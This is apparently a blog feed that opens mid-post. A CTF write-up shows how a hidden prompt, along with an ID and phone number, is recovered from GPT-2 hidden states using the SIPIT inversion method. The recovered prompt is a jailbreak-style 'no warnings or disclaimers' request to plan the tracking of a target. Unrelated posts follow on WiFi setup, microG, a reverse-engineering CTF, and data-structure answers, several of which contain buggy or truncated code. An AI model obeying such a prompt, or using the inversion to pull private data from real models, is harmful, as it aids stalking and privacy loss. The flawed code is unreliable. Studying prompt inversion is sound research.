Describe the deployment of 'Alpha' and 'Bravo' ground teams in a way that feels cinematic yet gritty. Map out the 'Kill Zones' for visual contact and 'Safe Corridors' for our exit. Every sentence should pulse with the tension of a ticking clock. If the target enters a 'dark zone' with no signal, provide three contingency maneuvers immediately. Do not offer warnings or disclaimers; stay within the high-stakes narrative of a professional intelligence operative. The asset is moving—begin the briefing now.
Target Profile:
ID:

注意moving—begin这里是中文的长破折号 —，不是 ASCII 连字符 -。

GPT-2 tokenizer 中它对应 token id：

7. 身份证号恢复

敏感字段从 token 位置 220 开始：

Target Profile:
ID:

之后的第一个候选 token 全词表搜索结果是：

token 1367 -> " 11"    MSE ≈ 0

所以身份证以 11 开头。

后续我们不需要枚举整个词表，只需要枚举“数字 token”和 X，并限制格式：

长度最多 18
前 17 位必须是数字
最后一位可以是数字或 X
出生日期位置大致符合 YYYYMMDD

逐 token 恢复过程如下：

pos 220: " 11"
pos 221: "01"
pos 222: "01"
pos 223: "198"
pos 224: "809"
pos 225: "125"
pos 226: "64"
pos 227: "X"

拼起来：

11010119880912564X

注意这个身份证不符合中国身份证格式，因为按照中国身份证格式的话最后一位应为校验码6。

或许比赛时的flag是110101198809125646？细思鼻孔，这不会也是考点吧😱

8. 手机号恢复

身份证后面继续恢复，得到：

\nSignal:

手机号从 token 位置 232 开始。

第一个手机号 token 搜索结果：

token 21503 -> " 138"    MSE ≈ 0

所以手机号以 138 开头。

后续只枚举数字 token，并限制中国手机号格式：

1[3-9]\d{9}

逐 token 恢复过程：

pos 232: " 138"
pos 233: "55"
pos 234: "225"
pos 235: "864"

拼起来：

13855225864

9. 发现出题人的小巧思：使用 SIPIT 算法做反推 prompt

复现时感觉这道题爆破token需要很长时间，而且在近年的比赛中没有见过从 hidden state 反推 prompt的题，所以猜测出题人是看了什么论文想到的。于是问了Chat老师近年相似的论文，结果真让我找到了👍

ICLR 2026的论文Language Models Are Injective and Hence Invertible提出：decoder-only Transformer 语言模型从离散 prompt 到连续 hidden representations 的映射几乎处处是单射，因此如果我们拿到了某一层每个位置的 hidden state，就可以顺序恢复原始 prompt。

按照论文提出的 SIPIT(Sequential Inverse Prompt via ITerative updates，通过迭代更新进行顺序 prompt 反演) 算法重新实现了prompt反推脚本，这次的目标不是只恢复身份证号和手机号，而是从第 8 层 hidden state 开始，按 token 顺序恢复整个 236-token prompt。

9.1 SIPIT 的 one-step map

论文附录 D 中定义了 one-step map：

F(v; pi, t) = h_t(pi ⊕ v)

这里：

pi  = 已经恢复出的前缀 token
t   = 当前要恢复的位置
v   = 候选 token
h_t = 第 t 个位置的 hidden state

因为 GPT-2 是 causal decoder-only Transformer，第 t 个位置只能看到：

token 0 ... token t

所以只要前缀 pi 已知，我们就可以枚举当前 token v，计算：

F(v; pi, t)

然后和观测到的：

target_hidden[t]

做距离比较。

正确 token 会让距离接近 0。

9.2 local verifier

论文 Definition D.2 定义了 acceptance region：

A_{pi,t}(v; epsilon) = B(F(v; pi, t), epsilon)

也就是以候选 token 产生的 hidden state 为中心，半径为 epsilon 的球。

如果观测 hidden state 落在这个球里，就接受这个 token：

target_hidden[t] in A_{pi,t}(v; epsilon)

代码里使用的是 MSE 阈值：

threshold = 1e-6

也就是：

mean((F(v; pi, t) - target_hidden[t])^2) <= 1e-6

9.3 Algorithm 1 在本题里的对应关系

论文 Algorithm 1 的结构是：

recovered = []
for t in 1..T:
    C = tested candidates
    for j in 1..|V|:
        v_j = POLICY(V, C, recovered, ell)
        if verifier accepts v_j:
            recovered.append(v_j)
            break
return recovered

本题中对应为：

T       = 236
|V|     = 50257
ell     = 8
hidden  = analysis_output.npz 中的 target_hidden
model   = offline_model/

每个位置都做：

1. 用 policy 排序候选 token
2. 逐批计算候选 token 的第 8 层 hidden state
3. 用 verifier 找到 MSE <= 1e-6 的 token
4. 把 token 加入 prefix
5. 进入下一个位置

9.4 policy：gradient-guided ranking

论文 Algorithm 3 给了一个 gradient-based policy。

它的思想是：先不直接枚举离散 token，而是在 embedding 空间里放一个连续向量 e，然后优化它，让：

F(e; pi, t)

尽量接近观测 hidden：

target_hidden[t]

优化后，再找词表中 embedding 离 e 最近的 token，优先验证这些 token。

实现时做了这些细节调整：

1. 连续代理 e 初始化为当前前缀下 LM logits 最高 token 的 embedding
2. 第 0 个 token 没有前缀，所以 e 初始化为 0 向量
3. 使用 Adam 优化 40 步
4. 每步对梯度做 clip，最大范数为 1.0
5. 优化后按 ||Embedding[token] - e||^2 从小到大排序词表
6. verifier 仍然逐批验证真实 hidden 距离

代码入口：

gradient_guided_order(...)

需要强调：gradient policy 只影响“先试哪个 token”，不影响正确性。真正决定 token 是否接受的，仍然是 SIPIT verifier：

verify_next_token(...)

如果 gradient 排序失败，算法仍会继续往后枚举，理论上最多枚举完整个词表。

9.5 用 KV cache 加速 one-step verifier

如果每次验证候选 token 都重新跑完整前缀，代价会很高。

例如位置 t = 220 时，如果验证一个候选 token，朴素做法要跑：

220 个 prefix token + 1 个 candidate token

而 SIPIT 本质上只需要 one-step map：

F(v; pi, t)

所以用 GPT-2 的 past_key_values 缓存前缀。

流程是：

1. 当前 prefix 已经恢复，缓存它的 past_key_values
2. 验证候选 token 时，只输入 1 个 candidate token
3. 模型通过 cache 自动看到前缀上下文
4. 取第 8 层当前 token 的 hidden state

这样 verifier 的每次测试只需要跑当前 token，大幅加速。

9.6 SIPIT 运行结果

Recovered token length: 236
Total verifier tests: 20544
Mean verifier tests/token: 87.05
Max MSE: 1.545e-09

如果用最朴素的 SIPIT 全词表枚举，最多需要236 * 50257 = 11860652次 verifier 测试。

实际使用 gradient-guided policy 后只用了20544次测试，和论文中“gradient-guided policy 通常只探索很小比例词表”的观察一致。

10. 附件

https://pan.baidu.com/s/1V6dKCyOaE9ogAP9UQUWGzw?pwd=ft6m

Linux使用命令行连接WiFi

2025-10-27T08:05:53.764Z

使用的是nmcli这个工具，Ubuntu自带。

用这个工具连接常见的正常WiFi网上有很多教程，这里记录一下怎么连接eduroam或者BIT-Mobile这样特殊的WiFi

#连接eduroamnmcli connection add type wifi ifname 无线网卡名称 con-name "eduroam" ssid "eduroam" 802-11-wireless-security.key-mgmt wpa-eap 802-1x.eap peap 802-1x.phase2-auth mschapv2 802-1x.identity "学号@学校域名" 802-1x.password "密码"nmcli connection up "eduroam"

#连接BIT-Mobile nmcli connection add type wifi ifname 无线网卡名称 con-name “BIT-Mobile” ssid “BIT-Mobile” 802-11-wireless-security.key-mgmt wpa-eap 802-1x.eap peap 802-1x.phase2-auth mschapv2 802-1x.identity “学号” 802-1x.password “密码” nmcli connection up “BIT-Mobile”

HUAWEI MatePad Pro 12.6 2021 安装GMS框架

2024-08-31T07:05:51.453Z

型号名称：HUAWEI MatePad Pro 12.6 2021

型号代码：WGR-W09

HarmonyOS 版本：4.2.0.212

注意：该方法无法安装GPT

1.安装四个软件

下载下面这个压缩包MicroG.zip，然后安装里面的四个软件，安装顺序无所谓。

MicroG.zip

2.配置应用权限

设置→应用与服务→应用管理→搜索microG 服务→点击右上角的齿轮⚙→自我检查→勾选所有选择框→返回，点击Google账号，添加Google账号

3.安装应用

打开桌面上刚刚安装的Aurora Store ，选择Google登录 ，如果显示创建会话失败，就选择匿名 ，然后可以安装一个Youtube试试能否自动绑定刚才登录的Google账号。

4.大功告成

Congratulate！

网络空间安全导论实验——后门攻击的实现

2023-11-28T07:11:00.000Z

1701184295-后门攻击的实现下载

网络空间安全导论实验——实现本地 Web 攻击

2023-11-28T07:10:00.000Z

1701184214-实现本地-Web-攻击下载

网络空间安全导论实验——为网站添加 HTTPS

2023-11-28T07:09:00.000Z

1701184151-为网站添加-HTTPS 下载

网络空间安全导论实验——使用私钥访问 SSH 服务器

2023-11-28T07:08:00.000Z

1701184132-使用私钥访问-SSH-服务器下载

网络空间安全导论实验——实现本地 DNS 缓存中毒攻击

2023-11-28T07:06:00.000Z

1701183988-实现本地-DNS-缓存中毒攻击下载

网络空间安全导论实验——简单栈溢出

2023-11-28T07:01:00.000Z

1701183752-简单栈溢出下载

[2020-工业信息安全技能大赛巡回赛-济南站]IoT

2023-11-26T19:55:00.000Z

下载附件后看到是一个二进制文件，使用file查看

是一个RISC-V架构的64位ELF文件，使用qemu运行

配置qemu

执行以下命令配置qemu环境

sudo apt install gcc make libglib2.0-dev libpixman-1-dev ninja-build
wget https://download.qemu.org/qemu-8.1.3.tar.xz
tar xf qemu-8.1.3.tar.xz
cd qemu-8.1.3/
./configure --target-list=riscv64-softmmu,riscv64-linux-user
make
sudo make install

执行qemu-riscv64 main运行程序

注意：需要给main文件执行权限

逆向分析

考虑到RISC-V架构，使用Ghidra逆向分析

查看main函数，发现程序逻辑是将输入的20位字符与xor数组进行异或，然后判断结果和cyt数组是否相等，需要注意的是，xor和cyt数组每隔4个字节用一次，其余字节无用

双击xor，查看字节

将xor复制下来，同理将cyt数组复制下来

编写脚本


int main(void)
{
    int a&#91;] = {
        0x9f, 0x00, 0x00, 0x00, 0xf9, 0x00, 0x00, 0x00, 0x7f, 0x01, 0x00, 0x00, 0xe3, 0x00, 0x00, 0x00, 0x38, 0x00,
        0x00, 0x00, 0x46, 0x01, 0x00, 0x00, 0x27, 0x01, 0x00, 0x00, 0xd4, 0x01, 0x00, 0x00, 0x3b, 0x01, 0x00, 0x00,
        0x41, 0x01, 0x00, 0x00, 0x6c, 0x01, 0x00, 0x00, 0x81, 0x00, 0x00, 0x00, 0xec, 0x00, 0x00, 0x00, 0x48, 0x00,
        0x00, 0x00, 0xbc, 0x01, 0x00, 0x00, 0x8d, 0x00, 0x00, 0x00, 0x35, 0x01, 0x00, 0x00, 0x88, 0x01, 0x00, 0x00,
        0xe7, 0x00, 0x00, 0x00, 0x79, 0x01, 0x00, 0x00
    };
    int b&#91;] = {
        0xf9, 0x00, 0x00, 0x00, 0x95, 0x00, 0x00, 0x00, 0x1e, 0x01, 0x00, 0x00, 0x84, 0x00, 0x00, 0x00, 0x43, 0x00,
        0x00, 0x00, 0x1e, 0x01, 0x00, 0x00, 0x48, 0x01, 0x00, 0x00, 0x86, 0x01, 0x00, 0x00, 0x64, 0x01, 0x00, 0x00,
        0x08, 0x01, 0x00, 0x00, 0x59, 0x01, 0x00, 0x00, 0xde, 0x00, 0x00, 0x00, 0xbf, 0x00, 0x00, 0x00, 0x78, 0x00,
        0x00, 0x00, 0xe3, 0x01, 0x00, 0x00, 0xc8, 0x00, 0x00, 0x00, 0x54, 0x01, 0x00, 0x00, 0xfb, 0x01, 0x00, 0x00,
        0x9e, 0x00, 0x00, 0x00, 0x04, 0x01, 0x00, 0x00
    };
    for (int i = 0; i < 80; i = i + 4)
        printf("%c", a&#91;i] ^ b&#91;i]);
}

获得flag

数据结构思维导图

2023-11-21T19:47:00.000Z

数据结构考察八题

2023-11-21T19:43:00.000Z

1. 试写一算法，实现线性表就地逆置
（1）顺序表，利用原表的存储空间将线性表（a1,a2,…,an）逆置为（an,an-1,…,a1）；
（2）单链表，带头结点。
（1）该算法要求利用原表的存储空间将线性表逆置，也就是不能再新建一个表将元素插入其中，因此只需交换顺序表的第一个和倒数第一个元素、第二个和倒数第二个元素…以此类推，就可以逆置顺序表。

//顺序表的类型定义：
typedef struct {
    ElemType *data;  //顺序表的元素
    int length;  //顺序表的当前长度
} SqList;  //顺序表的类型定义

//创建顺序表：
Status CreateSqList(SqList &L, int n) {
    ElemType *p;
    L.data = (ElemType *)malloc(n * sizeof(ElemType));
    if(!L.data)
        printf("\n分配失败\n");
    printf("请依次输入顺序表的数据元素:\n");
    for(p=L.data; p< L.data+n; p++)
        scanf("%d ", p);
    L.length = n;
    if(L.length)
        printf("顺序表创建成功，它的长度为:%d\n", L.length);
    return OK;
}

//逆置顺序表中元素：
Status SqListReverse(SqList &L) {
    int i;
    ElemType x;  //临时数据元素，用来交换
    for(i=0; i< L.length/2; i++)  //交换顺序表的第一个和倒数第一个元素、第二个和倒数第二个元素…以此类推，就可以逆置顺序表，只需遍历表的一半
    {   x = L.data[i];
        L.data[i] = L.data[L.length-i-1];
        L.data[L.length-i-1] = x;
    }
    return OK;
}

//主函数：
int main() {
    SqList L;
    CreateSqList(L, 10);  //假设表中有10个元素
    SqListReverse(L);  //逆置顺序表
    return OK;
}

（2）带头结点的单链表原地逆置只需将单链表每个结点中的next指针改为指向其前一个结点，即原来的第一个结点变为最后一个结点，next指针为空，原来的最后一个结点变为第一个结点，原来的头结点指向原来的最后一个结点。

//单链表的类型定义：
typedef struct LNode{  //定义单链表结点类型
    ElemType data;  //数据域
    struct LNode *next;  //指针域
} LNode, *LinkList;

//利用头插法建立带头结点的单链表
LinkList List_HeadInsert(LinkList &L) {  //头插法建立单链表
    LNode *s;
    int x;
    L = (LinkList *) malloc(sizeof(LNode));  //创建头结点
    L->next = NULL;  //初始为空链表
    scanf("%d", &x);  //输入结点的值
    while (x != 9999) {  //输入9999表示结束
        s = (LNode *) malloc(sizeof(LNode));  //创建新结点
        s->data = x;
        s->next = L->next;
        L->next = s;  //将新结点插入表中，L为头指针
        scanf("%d", &x);
    }
    return L;
}

//带头结点的单链表原地逆置：
Status LinkListReverse(Linklist &L) {
    /*
     * 三个指针, p 为要反转的结点, pre 为 p 前面的结点, r 是保存 p 后继的指针
     * 初始状态 p 指向第一个元素, r 指向第二个元素
     */
    LNode *pre = L, *p = L->next, *r = p->next;
    /* 将第一个结点后继指针置空, 否则逆置后的链表中的最后一个元素和倒数第二个元素之间会形成环 */
    p->next = NULL;
    /*
     * 如果 r 不为空, 三个指针前进一个单位.
     * 否则链表只有一个结点, 直接执行 while 后的 L->next = p
     * 循环中将 p 反转指向其前面的结点 pre, r 是 p 的后继
     * 假设链表有 n 个元素, 则循环可将前 n - 1 个元素逆置
     * 之后 p 指向第 n 个元素.
     */
    while (r != NULL)
    {
        /* 指针依次进一 */
        pre = p;
        p = r;
        r = r->next;
        /* 逆置 */
        p->next = pre;
    }
    /* 头结点指向逆置之后的第一个结点 */
    L->next = p;
    return OK;
}

//主函数：
int main() {
    LinkList L;
    List_HeadInsert(L);
    LinkListReverse(L);
    return OK;
}

2. 请利用两个栈来模拟一个队列(可以不考虑栈满情况)。
已知栈的三个运算定义如下：
int S_Push(Stack &s,ElemType x);//元素 x 入栈；
int S_Pop(Stack &s,ElemType &x);//栈顶元素出栈，赋给变量 x；
int S_isEmpty(Stack s);//判栈是否为空。
利用栈的运算来实现该队列的三个运算：
int Q_En(Stack & s1,Stack & s2,ElemType x);//插入一个元素入队列；
int Q_De(Stack & s1,Stack & s2,ElemType &x);//删除一个元素出队列；
int Q_isEmpty(Stack s1,Stack s2);//判队列是否为空。

栈的特点是后进先出，队列的特点是先进先出。用两个栈S1和S2模拟队列时，令S1执行入栈操作模拟入队，S2执行出栈操作模拟出队。本题无需考虑栈满情况。
入队时，将元素直接插入S1中。
出队时，若S2不空，则将S2栈顶元素出栈；若S2为空且S1为空，则队列中没有元素，无法执行出队操作；若S2为空且S1不空，则先将S1中元素全部逐一转入S2，最后将S2栈顶元素出栈。
判空条件为S1和S2都为空时，则队列为空。

//栈的类型定义：
#define MaxSize 50  //定义栈中元素的最大个数
typedef struct {
    ElemType data[MaxSize];  //存放栈中元素
    int top=-1;  //栈顶指针，初始为-1
} Stack;

//插入一个元素入队列：
int Q_En(Stack & s1, Stack & s2, ElemType x) {
    Push(s1, x);
    return 1;
}

//删除一个元素出队列：
int Q_De(Stack & s1, Stack & s2, ElemType &x) {
    if (!S_isEmpty(s2))
        S_Pop(s2, x);
    else if (S_isEmpty(s1)) {
        printf("队列为空\n");
        return 0;
    }
    else {
        while (!S_isEmpty(s1)) {
            S_Pop(s1, x);
            S_Push(s2, x);
        }
        S_Pop(s2, x);
    }
    return 1;
}

//判队列是否为空：
int Q_isEmpty(Stack s1,Stack s2)
{
    if(S_isEmpty(S1)&&S_isEmpty(S2))
        return 1;
    else
        return 0;
}

3. 试写一算法，判断两个字符串是否可以循环匹配。例如：s1=”abcaaaab”和 s2=”aaaababc”匹配。

若两个字符串可以循环匹配，则两个字符串必须长度相同，且在字符串s3=s1+s1中一定可以找到字符串s2。在字符串s3中寻找s2时使用KMP算法。

//字符串的类型定义：
#define MaxLen 255  //预定义最大串长为255
typedef struct{
    char ch[MaxLen];  //每个分量存储一个字符
    int length;
}SString;

//KMP算法：
void get_next(SString T,int next[]) {  //求next数组
    int i=1,j=0;
    next[1]=0;
    while(i
        if(j==0 || T.ch[i]==T.ch[j]){
            ++i; ++j;
            next[i]=j;  //若pi=pj，则next[j+1]=next[j]+1
        }
        else
            j=next[j];  //否则令j=next[j]，循环继续
    }
}
int Index_KMP(SString S,SString T,int next[]){  //在S中寻找T
    int i=1,j=1;
    while(i<=S.length && j<=T.length){
        if(j==0 || S.ch[i]==T.ch[j]){
            ++i; ++j;  //继续比较后续字符
        }
        else
            j=next[j];  //模式串向右移动
    }
    if(j>T.length)
        return i-T.length;  //匹配成功
    else
        return 0;
}

//判断字符串能否循环匹配：
int SStringCycleMatch(SString s1, SString s2) {
    if (s1.length!=s2.length)  //若长度不相等则无法循环匹配
        return 0;
    SString s3;
    strcat(s3.ch,s1.ch);strcat(s3.ch,s1.ch);  //令s3=s1+s1
    if (Index_KMP(s3,s2,&next[0]))
        return 1;
    else
        return 0;
}

//主函数：
int main(){
    SString s1,s2;
    gets(s1.ch); s1.length = strlen(s1.ch);
    gets(s2.ch); s2.length = strlen(s2.ch);
    get_next(s2,next);
    if (SStringCycleMatch(s1,s2)==1)
        printf("可以循环匹配\n");
    else
        printf("不可以循环匹配\n");
    return 0;
}

4. 以三元组顺序表存储稀疏矩阵，实现两个矩阵相乘。

稀疏矩阵中每一个元素都是一个三元组，有行数row，列数col，以及数据域value。
两个稀疏矩阵相乘时，将第一个矩阵的第一个三元组和第二个矩阵的所有三元组进行匹配，若第一个三元组的列数和第二个矩阵中的一个三元组的行数相同，那么这两个元素可以相乘，得到结果矩阵的第一个三元组；接着将第一个矩阵的第二个三元组和第二个矩阵的所有三元组进行匹配，若第一个矩阵的第二个三元组的列数和第二个矩阵中的一个三元组的行数相同，那么这两个元素可以相乘，得到结果矩阵的第二个三元组…以此类推，直到第一个矩阵的所有三元组遍历完成，就得到了整个结果矩阵。
最后将结果矩阵进行重新排序，按照行数优先，列数次优先的原则。

//三元组的类型定义：
typedef struct {
    int row;  //此处的行列值从1开始，没有第0行和第0列
    int col;
    ElemType value;  //矩阵第row行第col列对应的值
} Triple;

//稀疏矩阵的类型定义：
typedef struct {
    Triple *data;  //非零三元组表
    int row_num;  //矩阵的总行数
    int col_num;  //矩阵的总列数
    int non_zero;  //矩阵总的非零值的个数
} TSMatrix;

//稀疏矩阵相乘：
//当第一个矩阵的列值等于第二个矩阵的行值时，两个矩阵相乘并将结果存在result矩阵中
void MultSMatrix(TSMatrix *matrix1, TSMatrix *matrix2, TSMatrix *result) {
    int i = 0;
    int j = 0;
    int k = 0;
    int q;
    if (matrix1->cols != matrix2->rows)  //如果两个矩阵的行数或者列数不相同
        printf("这两个矩阵无法相乘\n");
    else {
        //为结果矩阵分配内存空间
        result->data = (Triple *) malloc(sizeof(Triple) * (matrix1->rows * matrix2->cols));
        result->rows = matrix1->rows;//结果矩阵的行数为第一个矩阵的行数
        result->cols = matrix2->cols;//结果矩阵的列数为第二个矩阵的列数
        for (k = 0; k < matrix1->rows * matrix2->cols; k++)
            (result->data + k)->value = 0;
        k = 0;
        while (i < matrix1->NoZero) { //当两个矩阵的元素都没有处理完时
            for (j = 0; j < matrix1->NoZero; j++)
                //如果matrix1的第i个元素的列值与matrix2的第j个元素的行值相同，则进行相乘
                if ((matrix1->data + i)->col == (matrix2->data + j)->row) {
                    (result->data + k)->row = (matrix1->data + i)->row;//result的第k个元素的行值为第一个矩阵的第i个元素对应的行值
                    (result->data + k)->col = (matrix2->data + j)->col;//result的第k个元素的列值为第二个矩阵的第j个元素对应的列值
                    //result的第k个元素的value值为第一个矩阵的第i个元素的value值与第二个矩阵的第j个元素的value值相乘的结果
                    (result->data + k)->value = (matrix1->data + i)->value * (matrix2->data + j)->value;
                    //用当前result的第k个元素与前k-1个元素的行列值进行比较：若相等，将第k项对应的value值加到第q项
                    for (q = 0; q < k; q++)
                        if ((result->data + k)->row == (result->data + q)->row &&
                            (result->data + k)->col == (result->data + q)->col) {
                            (result->data + q)->value += (result->data + k)->value;
                            k--; //将k-1的目的是与下面的k+1对应，使k值不变，因为相等时将该项的结果与加到之前的结果上，故不需要生成新的项
                        }
                    k++;
                }
            i++;
        }
        result->NoZero = k;
        //重新为result->data分配适合大小的存储空间
        result->data = (Triple *) realloc(result->data, sizeof(Triple) * (result->NoZero));
    }
}

//主函数：
int main() {
    TSMatrix MatrixA, MatrixB, Result;

    printf("请输入第一个矩阵的行数 列数 非零元素数：\n");
    scanf("%d %d %d", &MatrixA.rows, &MatrixA.cols, &MatrixA.NoZero);
    MatrixA.data = (Triple *) malloc(sizeof(Triple) * MatrixA.NoZero);
    for (int i = 0; i < MatrixA.NoZero; ++i) {
        printf("请输入第一个矩阵的第%d个三元组：\n", i + 1);
        scanf("%d %d %d", &MatrixA.data[i].row, &MatrixA.data[i].col, &MatrixA.data[i].value);
    }

    printf("请输入第二个矩阵的行数 列数 非零元素数：\n");
    scanf("%d %d %d", &MatrixB.rows, &MatrixB.cols, &MatrixB.NoZero);
    MatrixB.data = (Triple *) malloc(sizeof(Triple) * MatrixB.NoZero);
    for (int i = 0; i < MatrixB.NoZero; ++i) {
        printf("请输入第二个矩阵的第%d个三元组：\n", i + 1);
        scanf("%d %d %d", &MatrixB.data[i].row, &MatrixB.data[i].col, &MatrixB.data[i].value);
    }

    MultSMatrix(&MatrixA, &MatrixB, &Result);
    printf("结果矩阵为：\n");
    for (int i = 0; i < Result.NoZero; ++i)
        printf("(%d,%d,%d)\n", Result.data[i].row, Result.data[i].col, Result.data[i].value);
}

5. 设计求某个结点在二叉树中的双亲结点算法。

假设二叉树b采用链式存储结构，使用递归求指定值为x的结点的双亲结点，若当前结点的左孩子或右孩子的值与x相等，则返回当前节点的值，否则继续比较当前结点的左右孩子的左右孩子的值与x是否相等，直到找到为止，否则返回NULL。

//二叉树的类型定义：
typedef struct BiTNode{
    ElemType data;
    struct BiTNode *lchild,*rchild;
}BiTNode, *BiTree;

//求结点x在二叉树中的双亲结点：
int FindParent(BiTree T,Elemtype x){
    if(T){
        if((T->lchild)&&T->lchild->data==x) {  //左孩子不为空 ，判断左孩子与x是否相等
            printf("x的双亲结点为%c\n", T->data);
            return 1;
        }
        if((T->rchild)&&T->rchild->data==x) {  //左孩子不为空 ，判断左孩子与x是否相等
            printf("x的双亲结点为%c\n", T->data);
            return 1;
        }
        else{
            FindParent(T->lchild,x);
            FindParent(T->rchild,x);
        }
    }
    return 0;
}

6. 设计一个利用广度优先遍历实现的有向图拓扑排序算法。

因为拓扑排序需要用到入度，因此先求所有顶点的入度。
拓扑排序序列的第一个点一定是入度为0的顶点，因为没有任何边指向它。接下来的点应该是在入度为0的顶点之后，所以它们只能被前面的顶点所指，把刚才那些顶点所指的点的入度减一，如果减之后有入度为0的顶点就把它加入序列。再不断重复上一步操作，拓扑排序就完成了。用一个栈存储入度为0的顶点，如果最后出栈的顶点数小于总顶点数，则说明有环。

//边表结点的类型定义：
typedef struct node//边表结点
{
    int adjvex;//该边所指向结点对应的下标
    struct node *next;//该边所指向下一个结点的指针
} eNode;

//顶点表结点的类型定义：
typedef struct headnode//顶点表结点
{
    int in;//顶点入度
    char vertex;//顶点数据
    eNode *firstedge;//指向第一条边的指针，边表头指针
} hNode;

//图的类型定义：
typedef struct//邻接表（图）
{
    hNode adjlist[Max];//以数组的形式存储
    int n, e;//顶点数，边数
} linkG;

//创建图：
//以邻接表的存储结构创建图
linkG *creat(linkG *g) {
    int i, k;
    eNode *s;//边表结点
    int n1, e1;
    char ch;
    g = (linkG *) malloc(sizeof(linkG));//申请结点空间
    printf("请输入顶点数和边数：");
    scanf("%d%d", &n1, &e1);
    g->n = n1;
    g->e = e1;
    printf("顶点数：%d    边数：%d\n", g->n, g->e);
    printf("请输入顶点信息（字母）：");
    getchar();//因为接下来要输入字符串，所以getchar用于承接上一条命令的结束符
    for (i = 0; i < n1; i++) {
        scanf("%c", &ch);
        g->adjlist[i].vertex = ch;//获得该顶点数据
        g->adjlist[i].firstedge = NULL;//第一条边设为空
    }
    printf("\n打印顶点下标及顶点数据：\n");
    for (i = 0; i < g->n; i++)//循环打印顶点下标及顶点数据
    {
        printf("顶点下标：%d  顶点数据：%c\n", i, g->adjlist[i].vertex);
    }
    getchar();
    int i1, j1;//相连接的两个顶点序号
    for (k = 0; k < e1; k++)//建立边表
    {
        printf("请输入边：");
        scanf("%d %d", &i1, &j1);
        s = (eNode *) malloc(sizeof(eNode));  //申请边结点空间
        s->adjvex = j1;  //边所指向结点的位置，下标为j1
        s->next = g->adjlist[i1].firstedge;  //将当前s的指针指向当前顶点上指向的结点
        g->adjlist[i1].firstedge = s;  //将当前顶点的指针指向s
    }
    return g;//返回指针g
}

//求所有顶点入度：
void inDegree(linkG *g)  //求图顶点入度
{
    eNode *p;
    int i;
    for (i = 0; i < g->n; i++)  //循环将顶点入度初始化为0
        g->adjlist[i].in = 0;
    for (i = 0; i < g->n; i++)  //循环每个顶点
    {
        p = g->adjlist[i].firstedge;  //获取第i个链表第1个边结点指针
        while (p != NULL) //当p不为空（边存在）
        {
            g->adjlist[p->adjvex].in++;  //该边终点结点入度+1
            p = p->next;  //p指向下一个边结点
        }
    }
}

//拓扑排序：
void TopologicalOrder(linkG *g)//拓扑排序
{
    eNode *p;
    int i, k, gettop;
    int top = 0;//用于栈指针的下标索引
    int count = 0;//用于统计输出顶点的个数
    int *stack = (int *) malloc(g->n * sizeof(int));//用于存储入度为0的顶点
    for (i = 0; i < g->n; i++)//第一次搜索入度为0的顶点
    {
        if (g->adjlist[i].in == 0)
            stack[++top] = i;//将入度为0的顶点进栈
    }
    while (top != 0)//当栈不为空时
    {
        gettop = stack[top--];//出栈,并保存栈顶元素（下标）
        printf("%c ", g->adjlist[gettop].vertex);
        count++;//统计顶点
        //接下来是将邻接点的入度减一，并判断该点入度是否为0
        p = g->adjlist[gettop].firstedge;//p指向该顶点的第一条边的指针
        while (p)//当p不为空时
        {
            k = p->adjvex;//相连接的顶点（下标）
            g->adjlist[k].in--;//该顶点入度减一
            if (g->adjlist[k].in == 0) {
                stack[++top] = k;//如果入度为0，则进栈
            }
            p = p->next;//指向下一条边
        }
    }
    if (count < g->n)//如果输出的顶点数少于总顶点数，则表示有环
        printf("\n有环\n");
    free(stack);//释放空间
}

//主函数：
int main() {
    linkG *g = NULL;
    g = creat(g);  //创建图
    inDegree(g);  //求入度
    TopologicalOrder(g);  //拓扑排序
    return 0;
}

7. 设计算法实现利用二叉排序树进行排序。

对于二叉排序树的任何一个非叶子结点，要求左子结点的值比当前节点的值小，右子结点的值比当前节点的值大，如果有相同的值，可以将该节点放在左子结点或右子结点。
因此总体思路是先将要排序的数构建成一个二叉排序树，再对该二叉排序树进行中序遍历即可得到按升序排列的数。

//二叉排序树的类型定义：
typedef struct BiTNode {
    int data;
    struct BiTNode *lchild, *rchild;
} BiTNode, *BiTree;

//栈的类型定义：
typedef struct {
    BiTree *base;
    BiTree *top;
    int stacksize;
} Sqstack;

//初始化一个栈，用于中序遍历：
#define STACK_INIT_SIZE 100
void InitStack(Sqstack &S) {
    S.base = (BiTree *) malloc(STACK_INIT_SIZE * sizeof(BiTNode));
    if (!S.base)
        exit(0);
    S.top = S.base;
    S.stacksize = STACK_INIT_SIZE;
}

//二叉排序树的查找：
void SearchBST(BiTree T, int key, BiTree f, BiTree &p) {
    if (!T)
        p = f;
    else if (T->data == key)
        p = T;
    else if (T->data < key)
        SearchBST(T->rchild, key, T, p);
    else
        SearchBST(T->lchild, key, T, p);
}

//创建二叉排序树：
void CreatBST(BiTree &T, int e) {
    BiTree p, s, q;
    SearchBST(T, e, NULL, p);//找到带插入的位置。
    s = (BiTree) malloc(sizeof(BiTNode));
    s->data = e;
    s->lchild = NULL;
    s->rchild = NULL;
    if (!p)T = s;
    else if (e == p->data)//当待排序列中有相同的元素时，将其放在相同元素的右孩子位置。原来的右子树放在其右节点域。
    {
        q = p->rchild;
        p->rchild = s;
        s->rchild = q;
    } else if (e < p->data)
        p->lchild = s;
    else
        p->rchild = s;
}

//中序遍历二叉排序树：
#define STACK_INCREMENT  10
void InOrderTravese(BiTree T) {
    BiTree p;
    Sqstack Sqt;
    InitStack(Sqt);
    p = T;
    while (p || Sqt.base != Sqt.top) {
        if (p) {
            if (Sqt.top - Sqt.base >= Sqt.stacksize) {
                Sqt.base = (BiTree *) realloc(Sqt.base, (Sqt.stacksize + STACK_INCREMENT) * sizeof(BiTNode));
                if (!Sqt.base)
                    exit(OVERFLOW);
                Sqt.top = Sqt.base + Sqt.stacksize;
                Sqt.stacksize += STACK_INCREMENT;
            }
            *Sqt.top++ = p;
            p = p->lchild;
        } else {
            p = *--Sqt.top;
            printf("%d ", p->data);
            p = p->rchild;
        }
    }
    printf("\n");
}


//主函数：
#define MAXSIZE 50
int main() {
    int length;
    int bst[MAXSIZE];
    BiTree BST;
    BST = (BiTree) malloc(sizeof(BiTNode));
    BST = NULL;
    printf("请输入待排序序列的个数N (N<%d)：", MAXSIZE);
    scanf("%d", &length);
    printf("请输入待排序的值：\n");
    for (int i = 0; i < length; i++)
        scanf("%d", &bst[i]);
    for (int i = 0; i < length; i++)
        CreatBST(BST, bst[i]);
    printf("中序遍历二叉排序树：\n");
    InOrderTravese(BST);
}

8. 设计算法实现小顶堆的插入，设关键字序列(k1，k2，…，kn-1)是堆，设计算法将关键字序列(k1，k2，…，kn-1，x)调整为堆。

